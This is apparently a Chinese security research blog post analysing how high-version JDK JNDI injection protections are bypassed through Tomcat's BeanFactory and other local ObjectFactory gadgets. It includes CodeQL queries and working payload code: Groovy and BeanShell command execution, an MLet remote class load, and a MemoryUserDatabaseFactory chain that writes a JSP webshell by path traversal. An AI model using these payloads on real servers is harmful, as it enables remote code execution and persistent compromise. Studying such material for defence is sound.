JNDI高版本绕过浅析

​ 最近Log4j的漏洞引起了很多师傅对JNDI注入漏洞利用的研究,浅蓝师傅的文章探索高版本 JDK 下 JNDI 漏洞的利用方法提出了很多关于绕过JNDI高版本限制的方法,本文主要是对文章中的部分方法进行分析并加上一些我个人的思考。

前言

​ 在分析这些具体的方法前,我们先对绕过的整体思路做一个阐述。目前高版本JDK的防护方式主要是针对加载远程的ObjectFactory的加载做限制,只有开启了某些属性后才会通过指定的远程地址获取ObjectFactory的Class并实例化,进而通过ObjectFactory#getObjectInstance来获取返回的真实对象。但是在加载远程地址获取ObjectFactory前,首先在本地ClassPath下加载指定的ObjectFactory,本地加载ObjectFactory失败后才会加载远程地址的ObjectFactory,所以一个主要的绕过思路就是加载本地ClassPath下的ObjectFactory

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
static ObjectFactory getObjectFactoryFromReference(
Reference ref, String factoryName)
throws IllegalAccessException,
InstantiationException,
MalformedURLException {
Class<?> clas = null;

// 首先加载当前环境下ClassPath下的ObjectFactory
try {
clas = helper.loadClass(factoryName);
} catch (ClassNotFoundException e) {
// ignore and continue
// e.printStackTrace();
}
// All other exceptions are passed up.

// 当前ClassPath加载失败才会加载classFactoryLocation中指定地址的ObjectFactory
String codebase;
if (clas == null &&
(codebase = ref.getFactoryClassLocation()) != null) {
try {
clas = helper.loadClass(factoryName, codebase);
} catch (ClassNotFoundException e) {
}
}

return (clas != null) ? (ObjectFactory) clas.newInstance() : null;
}

​ 所以我们需要找到一个javax.naming.spi.ObjectFactory接口的实现类,在这个实现类的getObjectInstance可以实现一些恶意操作。但是在JDK提供的原生实现类里其实并没有操作空间。所以下面我们主要的思路就是在一些常用的框架或者组件中寻找可利用的ObjectFactory实现类。

image-20220115205948693

常规绕过方式总结

​ Tomcat下的绕过比较精彩的并不是EL表达式利用,而是通过BeanFactory#getObjectInstance将这个漏洞的利用面从仅仅只能从ObjectFactory实现类的getObjectInstance方法利用扩展为一次可以调用”任意”类的”任意”方法的机会,但是对调用的类和方法以及参数有些限制。

  • 该类必须包含public无参构造方法
  • 调用的方法必须是public方法
  • 调用的方法只有一个参数并且参数类型为String类型

所以下面我们只要找到某个类的某个方法既满足了上面的条件又实现我们想要的功能。

  • javax.el.ELProcessor#eval执行命令,但是ELProcessor是在Tomcat8才引入的。
  • groovy.lang.GroovyShell#evaluate(java.lang.String)通过Groovy执行命令。
  • com.thoughtworks.xstream.XStream().fromXML(String)通过调用XStream转换XML时的反序列化漏洞导致的RCE,这里之所以选择XStream是因为Xstream的反序列化漏洞和影响版本比较多。JSON的转换的漏洞相对来说通用性不高。
  • org.yaml.snakeyaml.Yaml#load(java.lang.String)加载Yaml时的反序列化漏洞,在SpringBoot中经常会使用snakeyaml来进行yml配置文件的解析。
  • org.mvel2.MVEL#eval(String)执行命令,这里浅蓝师傅文章中提到的是MVEL类是private所以要找上层调用,我在2.0.17中测试Mvel是存在public无参构造方法的,高版本确实换成了private构造方法。所以只能找那里调用了Mvel#eval方法,而org.mvel2.sh.ShellSession#exec调用了Mvel#eval,因此可以通过ShellSession#exec来间接完成调用。
  • com.sun.glass.utils.NativeLibLoader#loadLibrary(String)加载DLL,前提是我们已经将构造好的DLL上传至目标上,所以局限性比较大。

CodeQL分析MVEL调用链挖掘过程

上面这些利用方法原理理解都比较简单,但是作者怎么找到org.mvel2.sh.ShellSession#exec的过程我比较好奇,排除他已知这个方法可以调用外,我们可以思考一下作者如何找到这个方法的。要找到这个方法的思路其实比较简单,可以按照下面的思路。

  • 除了org.mvel2.MVEL#eval(String)可以执行命令其他重载的eval方法也可以执行命令
  • 查找调用这些eval方法的调用,直到找到一个调用类存在public构造方法且间接调用eval的方法也是public类型并且参数为string类型

但是如果手动找的话其实比较麻烦,因为调用eval方法的函数其实比较多,如下图所示。

image-20220116203657942

​ 所以我想用CodeQL来帮我们做这件事情,由于MVEL是github上的开源项目,所以可以直接在这里下载到数据库。由于eval方法的第一个参数是要执行的表达式,所以我们将这个参数作为sink,source的名称我们不做限制,但是要限制方法的参数为string且只有一个参数,代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
/**
*@name Tainttrack Context lookup
*@kind path-problem
*/

import java
import semmle.code.java.dataflow.FlowSources
import DataFlow::PathGraph

class MVEL extends RefType{
MVEL(){
this.hasQualifiedName("org.mvel2", "MVEL")

}
}
//限制参数的类型和数量
class CallEval extends Method {
CallEval(){
this.getNumberOfParameters() = 1 and this.getParameter(0).getType() instanceof TypeString
}
Parameter getAnUntrustedParameter() { result = this.getParameter(0) }
}
//限制方法的名称和类型
predicate isEval(Expr arg) {
exists(MethodAccess ma |
ma.getMethod().getName()="eval"
and
ma.getMethod().getDeclaringType() instanceof MVEL
and
arg = ma.getArgument(0)
)
}
class TainttrackLookup extends TaintTracking::Configuration {
TainttrackLookup() {
this = "TainttrackLookup"
}

override predicate isSource(DataFlow::Node source) {
exists(CallEval evalMethod |
source.asParameter() = evalMethod.getAnUntrustedParameter())
}
override predicate isSink(DataFlow::Node sink) {
exists(Expr arg |
isEval(arg)
and
sink.asExpr() = arg
)
}
}

from TainttrackLookup config , DataFlow::PathNode source, DataFlow::PathNode sink
where
config.hasFlowPath(source, sink)
select sink.getNode(), source, sink, "unsafe lookup", source.getNode(), "this is user input"

​ 但是跑完以后去掉一些看上去有问题的链后并没有找到浅蓝师傅发现的那个调用链,只找到了下面的调用链,但是也是在MVEL类中的,所以也不能利用。

image-20220116224209434

​ 下面分析下为什么没跑出来,首先看下我们设置的sink是否有问题,sink确实可以找到PushContext#execute方法,所以sink这里没有问题。

image-20220116224434221

​ 再通过下面的代码检测source是否设置正确,也没有问题,所以说明在污点传播的过程中被打断了。

image-20220116224950293

​ 经过分析,猜测可能打断污点传播的点有两处。

  • exec方法直接将参数添加到inBuffer中并调用了无参构造方法,如果分析中认为调用无参构造方法就认为污点会被打断那么这里就会导致污点传播被打断

image-20220116225744695

  • _exec中通过arraycopy完成了passParameters的赋值操作,如果CodeQL这里没分析好也会导致污点传播被打断。

image-20220116230023259

首先分析第一种情况,在_exec中将inBuffer的值封装为inTokens后调用了containsKey方法,所以我们在不更改source的情况下将sink更改为对containsKey的调用。

image-20220116231903405

1
2
3
4
5
6
7
predicate isEval(Expr arg) {
exists(MethodAccess ma |
ma.getMethod().getName()="containsKey"
and
arg = ma.getArgument(0)
)
}

​ 可以看到确实是可以从ShellSession#exec追踪到commands.containsKey中的,所以第一种假设就被推翻了。

image-20220116233122933

​ 再来看第二种猜测,只要我们编写一个isAdditionalTaintStep将arraycopy的第1个参数和execute的第2个参数接起来即可。

1
2
3
4
5
6
7
8
override predicate isAdditionalTaintStep(DataFlow::Node fromNode, DataFlow::Node toNode) {
exists(MethodAccess ma,MethodAccess ma2 |
ma.getMethod().getDeclaringType().hasQualifiedName("java.lang", "System")
and ma.getMethod().hasName("arraycopy") and fromNode.asExpr()=ma.getArgument(0)
and ma2.getMethod().getDeclaringType().hasQualifiedName("org.mvel2.sh", "Command")
and ma2.getMethod().hasName("execute") and toNode.asExpr()=ma2.getArgument(1)
)
}

​ 最终就可以拿到浅蓝师傅发现的调用链。

image-20220116235728417

MLet利用方式分析

​ MLet是UrlClassLoader的子类,因此理论上可以通过loadClass加载远程地址的类进行利用,代码如下:

1
2
3
MLet mLet = new MLet();
mLet.addURL("http://127.0.0.1:2333/");
mLet.loadClass("Exploit");

失败的利用分析

​ 虽然说loadClass在加载以后没有newInstance不能触发类的初始化操作,但是在BeanFactory中本身就会根据我们传入的名称来实例化对象,如果我们发送两次请求,第一次通过UrlClassLoader加载到内存,由于在loadClass加载的过程中有个缓存机制,如果已经加载过的类会直接返回,我们在第二次请求中直接让实例化这个类不就可以了。

1
2
3
4
5
6
7
8
protected Class<?> loadClass(String name, boolean resolve)
throws ClassNotFoundException
{
synchronized (getClassLoadingLock(name)) {
// First, check if the class has already been loaded
Class<?> c = findLoadedClass(name);
if (c == null) {
long t0 = System.nanoTime();

​ 但实际是不行的,因为BeanFactory中获取到类名后是通过Thread.currentThread().getContextClassLoader()这个加载器来加载类的,而这个类加载器肯定不是Mlet那个加载器,所以它没有加载过我们创建的恶意类,自然也获取不到了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
if (obj instanceof ResourceRef) {
try {
//从引用对象中获取类名
Reference ref = (Reference)obj;
String beanClassName = ref.getClassName();
Class<?> beanClass = null;
//获取加载器加载类
ClassLoader tcl = Thread.currentThread().getContextClassLoader();
if (tcl != null) {
try {
beanClass = tcl.loadClass(beanClassName);
} catch (ClassNotFoundException var26) {
}
} else {
try {
beanClass = Class.forName(beanClassName);
} catch (ClassNotFoundException var25) {
var25.printStackTrace();
}
}

方法多次调用分析

​ 那么Mlet为什么可以调用多个方法,因为按照我们前面的分析,只会调用一个方法。下面我们简要分析下org.apache.naming.factory.BeanFactory#getObjectInstance

  • 从引用对象中获取类名并实例化,这里需要注意的是这个类只实例化了一次。再从forceString属性中获取内容并通过,分割转换为数组,遍历数组中的内容并根据=分割获取要调用的方法名获取method对象并保存到Map中。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
if (obj instanceof ResourceRef) {
try {
//从引用对象中获取类名
Reference ref = (Reference)obj;
String beanClassName = ref.getClassName();
Class<?> beanClass = null;
//获取加载器加载类
ClassLoader tcl = Thread.currentThread().getContextClassLoader();
if (tcl != null) {
try {
beanClass = tcl.loadClass(beanClassName);
} catch (ClassNotFoundException var26) {
}
} else {
try {
beanClass = Class.forName(beanClassName);
} catch (ClassNotFoundException var25) {
var25.printStackTrace();
}
}
//加载失败抛出异常
if (beanClass == null) {
throw new NamingException("Class not found: " + beanClassName);
} else {
BeanInfo bi = Introspector.getBeanInfo(beanClass);
PropertyDescriptor[] pda = bi.getPropertyDescriptors();
//获取class的对应的对象,只实例化了一次
Object bean = beanClass.getConstructor().newInstance();
//从forceString中获取引用属性
RefAddr ra = ref.get("forceString");
Map<String, Method> forced = new HashMap();
String value;
String propName;
int i;
if (ra != null) {
//获取forceString的内容并通过`,`分割
value = (String)ra.getContent();
//paramTypes为String类型
Class<?>[] paramTypes = new Class[]{String.class};
String[] var18 = value.split(",");
i = var18.length;

for(int var20 = 0; var20 < i; ++var20) {
String param = var18[var20];
param = param.trim();
//根据等号分割获取propName和param,如果没有等号则转成setter方法
int index = param.indexOf(61);
if (index >= 0) {
propName = param.substring(index + 1).trim();
param = param.substring(0, index).trim();
} else {
propName = "set" + param.substring(0, 1).toUpperCase(Locale.ENGLISH) + param.substring(1);
}
//通过propName和paramTypes获取Method并放到param中
try {
forced.put( , beanClass.getMethod(propName, paramTypes));
} catch (SecurityException | NoSuchMethodException var24) {
throw new NamingException("Forced String setter " + propName + " not found for property " + param);
}
}
}

  • 下面获取引用对象中保存的所有属性,通过while循环遍历属性内容并赋值给valueArray作为参数最终通过invoke完成反射调用。这里需要注意的是反射调用是在while循环中的,所以可以调用多个方法
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
			//从引用对象中获取所有的属性
Enumeration e = ref.getAll();
//遍历属性
while(true) {
while(true) {
do {
do {
do {
do {
do {
if (!e.hasMoreElements()) {
return bean;
}
· //获取属性
ra = (RefAddr)e.nextElement();
//获取propName
propName = ra.getType();
//如果propName是下面的值则跳过
} while(propName.equals("factory"));
} while(propName.equals("scope"));
} while(propName.equals("auth"));
} while(propName.equals("forceString"));
} while(propName.equals("singleton"));
//获取属性中的内容
value = (String)ra.getContent();
Object[] valueArray = new Object[1];
//根据propName从map中获取method
Method method = (Method)forced.get(propName);
if (method != null) {
//将属性中的内容赋给valueArray
valueArray[0] = value;

try {
//反射调用方法
method.invoke(bean, valueArray);
} catch (IllegalArgumentException | InvocationTargetException | IllegalAccessException var23) {
throw new NamingException("Forced String setter " + method.getName() + " threw exception for property " + propName);
}
}

​ 所以通过上面的分析发现其实在BeanFactory中其实可以调用多个方法,但是这些方法必须都在同一个Class中。并且由于在这个过程中Class只被实例化了一次,因此可以通过调用不同的方法为Class的属性赋值

​ 下来再看这个poc就可以理解为什么可以这么构造了。

1
2
3
4
5
6
7
8
ResourceRef ref = new ResourceRef("javax.management.loading.MLet", null, "", "",
true, "org.apache.naming.factory.BeanFactory", null);
//指定要调用的方法名
ref.add(new StringRefAddr("forceString", "b=addURL,c=loadClass"));
//为不同的方法的参数赋值
ref.add(new StringRefAddr("b", "http://127.0.0.1:2333/"));
ref.add(new StringRefAddr("c", "Blue"));
return ref;

失败的UrlClassLoader调用链挖掘尝试

​ 通过Mlet的加载虽然不能利用,但是我们也可以学习到浅蓝师傅挖掘调用链的思路,即通过UrlClassLoader的实现类寻找可以加载远程类的代码。

​ 我们也可以尝试去挖掘对UrlClassLoader的调用,相关的调用需要满足以下条件:

  • 存在public构造方法
  • 继承UrlClassLoader并调用了loadClass方法

WebappClassLoaderBase似乎满足条件,虽然这个类本身没有public构造方法,但是其子类WebappClassLoader是有无参构造方法的。但是由于WebappClassLoaderBaseaddURL方法不是public类型的,所以无法利用。

image-20220117231654295

org.codehaus.plexus.compiler.javac.IsolatedClassLoader满足上面的条件,但是addURL方法的参数不是String类型,所以也无法利用。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34

public class IsolatedClassLoader extends URLClassLoader {
private ClassLoader parentClassLoader = ClassLoader.getSystemClassLoader();

public IsolatedClassLoader() {
super(new URL[0], (ClassLoader)null);
}

public void addURL(URL url) {
super.addURL(url);
}

public synchronized Class<?> loadClass(String className) throws ClassNotFoundException {
Class<?> c = this.findLoadedClass(className);
ClassNotFoundException ex = null;
if (c == null) {
try {
c = this.findClass(className);
} catch (ClassNotFoundException var5) {
ex = var5;
if (this.parentClassLoader != null) {
c = this.parentClassLoader.loadClass(className);
}
}
}

if (c == null) {
throw ex;
} else {
return c;
}
}
}

​ 所以似乎没有其他可以直接利用的ClassLoader了。

GroovyClassLoader执行命令分析

​ 那么为什么GroovyClassLoader可以加载远程的class并执行里面的内容呢?

​ 首先在addClasspath中会将我们传入的path转换为URI并添加到当前的GroovyClassLoader对象中。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
public void addClasspath(final String path) {
AccessController.doPrivileged(new PrivilegedAction<Void>() {
public Void run() {
try {
URI newURI;
//正则匹配\p{Alpha}[-+.\p{Alnum}]*:[^\\]*,如果我们传入的是http的url是不会被匹配到的
if (!GroovyClassLoader.URI_PATTERN.matcher(path).matches()) {
newURI = (new File(path)).toURI();
} else {
//根据传入的path构建url对象
newURI = new URI(path);
}
//获取GroovyClassLoader中保存的url
URL[] urls = GroovyClassLoader.this.getURLs();
URL[] arr$ = urls;
int len$ = urls.length;
//判断newURI是否在url列表中
for(int i$ = 0; i$ < len$; ++i$) {
URL url = arr$[i$];
if (newURI.equals(url.toURI())) {
return null;
}
}
//将url添加到GroovyClassLoader对象中
GroovyClassLoader.this.addURL(newURI.toURL());
} catch (MalformedURLException var7) {
} catch (URISyntaxException var8) {
}

return null;
}
});
}

GroovyClassLoader#loadClass首先通过UrlClassLoader根据我们传入的名称加载远程的Class,加载失败后则根据名称加载groovy,加载成功后会对远程加载的groovy代码编译。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
  public Class loadClass(String name, boolean lookupScriptFiles, boolean preferClassOverScript, boolean resolve) throws ClassNotFoundException, CompilationFailedException {
Class cls = this.getClassCacheEntry(name);
boolean recompile = this.isRecompilable(cls);
if (!recompile) {
return cls;
} else {
ClassNotFoundException last = null;

try {
//首先通过UrlClassLoader加载类加载成功则返回,失败则继续执行
Class parentClassLoaderClass = super.loadClass(name, resolve);
if (cls != parentClassLoaderClass) {
return parentClassLoaderClass;
}
} catch (ClassNotFoundException var19) {
last = var19;
} catch (NoClassDefFoundError var20) {
if (var20.getMessage().indexOf("wrong name") <= 0) {
throw var20;
}

last = new ClassNotFoundException(name);
}

SecurityManager sm = System.getSecurityManager();
if (sm != null) {
String className = name.replace('/', '.');
int i = className.lastIndexOf(46);
if (i != -1 && !className.startsWith("sun.reflect.")) {
sm.checkPackageAccess(className.substring(0, i));
}
}

if (cls != null && preferClassOverScript) {
return cls;
} else {
if (lookupScriptFiles) {
try {
//从缓存中先获取Class
Class classCacheEntry = this.getClassCacheEntry(name);
if (classCacheEntry != cls) {
Class var24 = classCacheEntry;
return var24;
}
//根据名称获取远程groovy的url
URL source = this.resourceLoader.loadGroovySource(name);
Class oldClass = cls;
cls = null;
//编译groovy代码
cls = this.recompile(source, name, oldClass);
} catch (IOException var17) {
....
}
}

image-20220118130235474

​ 在recompile中判断URL是否是文件类型,如果不是则加载远程url中指定的groovy并进行parse。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
protected Class recompile(URL source, String className, Class oldClass) throws CompilationFailedException, IOException {
if (source == null || (oldClass == null || !this.isSourceNewer(source, oldClass)) && oldClass != null) {
return oldClass;
} else {
synchronized(this.sourceCache) {
String name = source.toExternalForm();
this.sourceCache.remove(name);
//判断是否为本地file
if (this.isFile(source)) {
Class var10000;
try {
var10000 = this.parseClass(new GroovyCodeSource(new File(source.toURI()), this.config.getSourceEncoding()));
} catch (URISyntaxException var8) {
return this.parseClass(source.openStream(), name);
}

return var10000;
} else {
//加载url中指定的groovy
return this.parseClass(source.openStream(), name);
}
}
}
}

​ 而在parseClass的过程中会执行@ASTTest中的代码,因此可以命令执行。

1
2
@groovy.transform.ASTTest(value={assert Runtime.getRuntime().exec("/System/Applications/Calculator.app/Contents/MacOS/Calculator")})
class Person{}

​ 在查找资料的过程中,发现浅析JNDI注入Bypass中也提到了Groovy的绕过利用,可以看到这里其实可以直接调用GroovyClassLoader#parseClass并传入我们构造好的内容执行命令。

1
2
3
4
5
6
7
ResourceRef ref = new ResourceRef("groovy.lang.GroovyClassLoader", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
ref.add(new StringRefAddr("forceString", "x=parseClass"));
String script = "@groovy.transform.ASTTest(value={\n" +
" assert java.lang.Runtime.getRuntime().exec(\"calc\")\n" +
"})\n" +
"def x\n";
ref.add(new StringRefAddr("x",script));

命令执行利用链挖掘

​ 除了寻找UrlClassLoader加载远程类外,还有一个思路是寻找可以执行命令的点,那么为什么ScriptEngine作为JDK自带的可以执行命令的方式不行呢?

​ 因为通过ScriptEngine来执行命令,都需要两个参数,所以不能通过ScriptEngine调用执行命令。

1
2
3
4
5
6
7
8
9
10
public Object eval(String script, Bindings bindings) throws ScriptException {

ScriptContext ctxt = getScriptContext(bindings);

return eval(script , ctxt);
}
public Object eval(Reader reader, ScriptContext ctxt) throws ScriptException {
return this.evalImpl(makeSource(reader, ctxt), ctxt);
}

​ 尝试通过CodeQL找下NashornScriptEngine#eval的调用,确实也没有参数为string类型的调用,所以从原生的JDK中应该是找不到命令执行的点了。

​ 除了上面列出的执行命令的方式外,beanshell也可以执行命令,并且满足我们的条件,因此也可以使用beanshell的利用方式。

1
2
3
4
5
ResourceRef ref = new ResourceRef("bsh.Interpreter", null, "", "",
true, "org.apache.naming.factory.BeanFactory", null);
ref.add(new StringRefAddr("forceString", "a=eval"));
ref.add(new StringRefAddr("a", "exec(\"cmd.exe /c calc.exe\")"));
return ref;

image-20220118173357303

MemoryUserDatabaseFactory利用链

​ 上面的分析都是建立在Tomcat下的BeanFactory的利用下的,我们也可以寻找其他实现了ObjectFactory的类利用,浅蓝师傅找到的MemoryUserDatabaseFactory利用过程比较精彩,这里着重分析一下。

XXE

MemoryUserDatabaseFactory#getObjectInstance首先创建一个MemoryUserDatabase对象,首先看下tomcat对这个对象的解释,和tomcat的用户有关,tomcat会将这个对象中的内容存储到xml中。

UserDatabase的具体实现,它将所有已定义的用户、组和角色加载到内存中的数据结构中,并使用指定的XML文件进行持久存储。

​ 创建MemoryUserDatabase后会从我们传入的引用对象中获取pathnamedatabasereadonly并设置到新建的MemoryUserDatabase对象中。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
if (obj != null && obj instanceof Reference) {
Reference ref = (Reference)obj;
//判断class是否是org.apache.catalina.UserDatabase
if (!"org.apache.catalina.UserDatabase".equals(ref.getClassName())) {
return null;
} else {
MemoryUserDatabase database = new MemoryUserDatabase(name.toString());
RefAddr ra = null;
//从引用对象中获取pathname属性
ra = ref.get("pathname");
if (ra != null) {
//给database设置属性
database.setPathname(ra.getContent().toString());
}
//从引用对象中获取readonly属性
ra = ref.get("readonly");
if (ra != null) {
database.setReadonly(Boolean.parseBoolean(ra.getContent().toString()));
}
//从引用对象中获取watchSource属性
ra = ref.get("watchSource");
if (ra != null) {
database.setWatchSource(Boolean.parseBoolean(ra.getContent().toString()));
}
//调用open
database.open();
//只有readonly属性为false才会进入save方法,readonly属性可以通过引用中获取
if (!database.getReadonly()) {
//调用save
database.save();
}

return database;
}
} else {
return null;
}
}

open方法会去加载远程的xml文件并进行解析。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
public void open() throws Exception {
this.writeLock.lock();

try {
this.users.clear();
this.groups.clear();
this.roles.clear();
//从之前保存的属性中获取pathName
String pathName = this.getPathname();
//创建URI对象
URI uri = ConfigFileLoader.getURI(pathName);
URLConnection uConn = null;

try {
//请求url并获取内容
URL url = uri.toURL();
uConn = url.openConnection();
InputStream is = uConn.getInputStream();
this.lastModified = uConn.getLastModified();
Digester digester = new Digester();

try {
digester.setFeature("http://apache.org/xml/features/allow-java-encodings", true);
} catch (Exception var28) {
log.warn(sm.getString("memoryUserDatabase.xmlFeatureEncoding"), var28);
}

digester.addFactoryCreate("tomcat-users/group", new MemoryGroupCreationFactory(this), true);
digester.addFactoryCreate("tomcat-users/role", new MemoryRoleCreationFactory(this), true);
digester.addFactoryCreate("tomcat-users/user", new MemoryUserCreationFactory(this), true);
//解析请求后的内容
digester.parse(is);
} catch (IOException var29) {
log.error(sm.getString("memoryUserDatabase.fileNotFound", new Object[]{pathName}));
} catch (Exception var30) {
this.users.clear();
this.groups.clear();
this.roles.clear();
throw var30;
} finally {
if (uConn != null) {
try {
uConn.getInputStream().close();
} catch (IOException var27) {
log.warn(sm.getString("memoryUserDatabase.fileClose", new Object[]{this.pathname}), var27);
}
}

}
} finally {
this.writeLock.unlock();
}

}

​ 而在parse的过程中会对获取到的xml解析,因此存在xxe漏洞。

1
2
3
4
5
6
public Object parse(InputStream input) throws IOException, SAXException {
this.configure();
InputSource is = new InputSource(input);
this.getXMLReader().parse(is);
return this.root;
}

image-20220118222456369

RCE

​ 前面也说过MemoryUserDatabase存储了Tomcat的用户信息并且会存储到xml,那么我们也知道tomcat中的用户信息是在tomcat-users.xml中的,所以是否我们直接在xml中构建一个我们已知账号密码的xml,让其加载。

​ 在open方法加载远程xml并解析后,如果readonly属性我们设置为false会进入save方法保存xml。

​ save方法首先判断isWriteable是否为true,否则直接返回

1
2
3
4
5
6
7
8
9
10
11
public void save() throws Exception {
if (this.getReadonly()) {
log.error(sm.getString("memoryUserDatabase.readOnly"));
//判断isWriteable是否为true,否则直接返回
} else if (!this.isWriteable()) {
log.warn(sm.getString("memoryUserDatabase.notPersistable"));
} else {
File fileNew = new File(this.pathnameNew);
if (!fileNew.isAbsolute()) {
fileNew = new File(System.getProperty("catalina.base"), this.pathnameNew);
}

​ 在isWriteable中会将catalina.basepathname拼接并判断其目录是否存在如果不存在则返回false。可以看到我们的url地址被处理为\http:\127.0.0.1\tomcat-user.xml这种形式,所以我们可以通过http://127.0.0.1/../../tomcat-user.xml来绕过,也不会影响xml的加载。

image-20220118230336387

​ 后面就是执行xml文件写入的功能,可以看到执行完后用户的配置文件已经写入到目标目录下,由于真正的配置是在conf目录下的,所以url中还要加个conf目录。

image-20220118231142917

​ 但是这种绕过方式和Tomcat的版本有关,在Tomcat8的open方法中是通过 ConfigFileLoader.getURI(pathName);来获取xml的是可以加载远程XML的。

image-20220119101645630

​ 在Tomcat7版本中open方法中是通过 ConfigFileLoader.getInputStream(pathName);获取的。

image-20220119102453745

​ 在getInputStream中首先通过file协议加载加载失败才会通过URL记载,所以这种利用方式似乎不能用在Tomcat7的版本,但是高版本的利用本身也有EL表达式,因此MemoryUserDatabaseFactory利用链似乎 有些鸡肋,但是从学习的角度来看还是很有价值的。

image-20220119102534828

写文件利用

​ 在tomcat7的ConfigFileLoader#getInputStream中,只有当文件已经存在时才会通过FileInputStream加载,如果我们传入的文件不存在,还是会去远程加载文件。因此可以让目标加载我们写好的shell到web目录中。首先开启http服务,并创建webapps/ROOT/test.jsp文件,内容如下:

1
2
3
4
5
6
7
<?xml version="1.0" encoding="UTF-8"?>
<tomcat-users xmlns="http://tomcat.apache.org/xml"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://tomcat.apache.org/xml tomcat-users.xsd"
version="1.0">
<role rolename="&#x3c;%Runtime.getRuntime().exec(&#x22;calc.exe&#x22;); %&#x3e;"/>
</tomcat-users>

​ 这里还要写成XML的形式否则XML解析过程中会失败。开启RMI服务,代码如下:

1
2
3
4
5
6
7
ResourceRef ref = new ResourceRef("org.apache.catalina.UserDatabase", null, "", "",
true, "org.apache.catalina.users.MemoryUserDatabaseFactory", null);
ref.add(new StringRefAddr("pathname", "http://127.0.0.1:8888/../../webapps/ROOT/test.jsp"));
ref.add(new StringRefAddr("readonly", "false"));
ReferenceWrapper war=new ReferenceWrapper(ref);
Registry registry = LocateRegistry.createRegistry(1099);
registry.bind("xxx",war);

​ 由于我们传入的文件名不存在,因此还是会加载远程文件。

image-20220124102226863

​ 最后成功在ROOT目录下写入jsp文件。

image-20220124102337397

image-20220124102351835

​ rolename中的内容也可以替换冰蝎马,只要Unicode编码后即可。

总结

​ 本文讨论的绕过主要是针对Tomcat下的利用,大多数的利用方式建立在tomcat的BeanFactory利用之上,通过上面的分析,我们对这些利用链的发现思路做一个总结。

  • 寻找可以执行命令的函数,可以直接传入一个string参数执行命令(EL、MVEL、Groovy、Beanshell)
  • 寻找UrlClassLoader,但是这种除了GroovyClassLoader比较特殊会在加载的过程中执行命令,其他实现UrlClassLoader的类加载后并不会实例化
  • 已知存在漏洞的组件,可以直接传入String参数利用后间接执行命令(Xstrem、snakeyaml)

我们从利用的角度再思考一下,目前挖掘这么多利用链的方式其实主要是想解决tomcat低版本下的绕过,虽然MemoryUserDatabaseFactoryRCE的方式无法在Tomcat7利用,但是还是可以通过写webshell的方式利用。最后感谢浅蓝师傅的分享。

参考

探索高版本 JDK 下 JNDI 漏洞的利用方法

浅析JNDI注入Bypass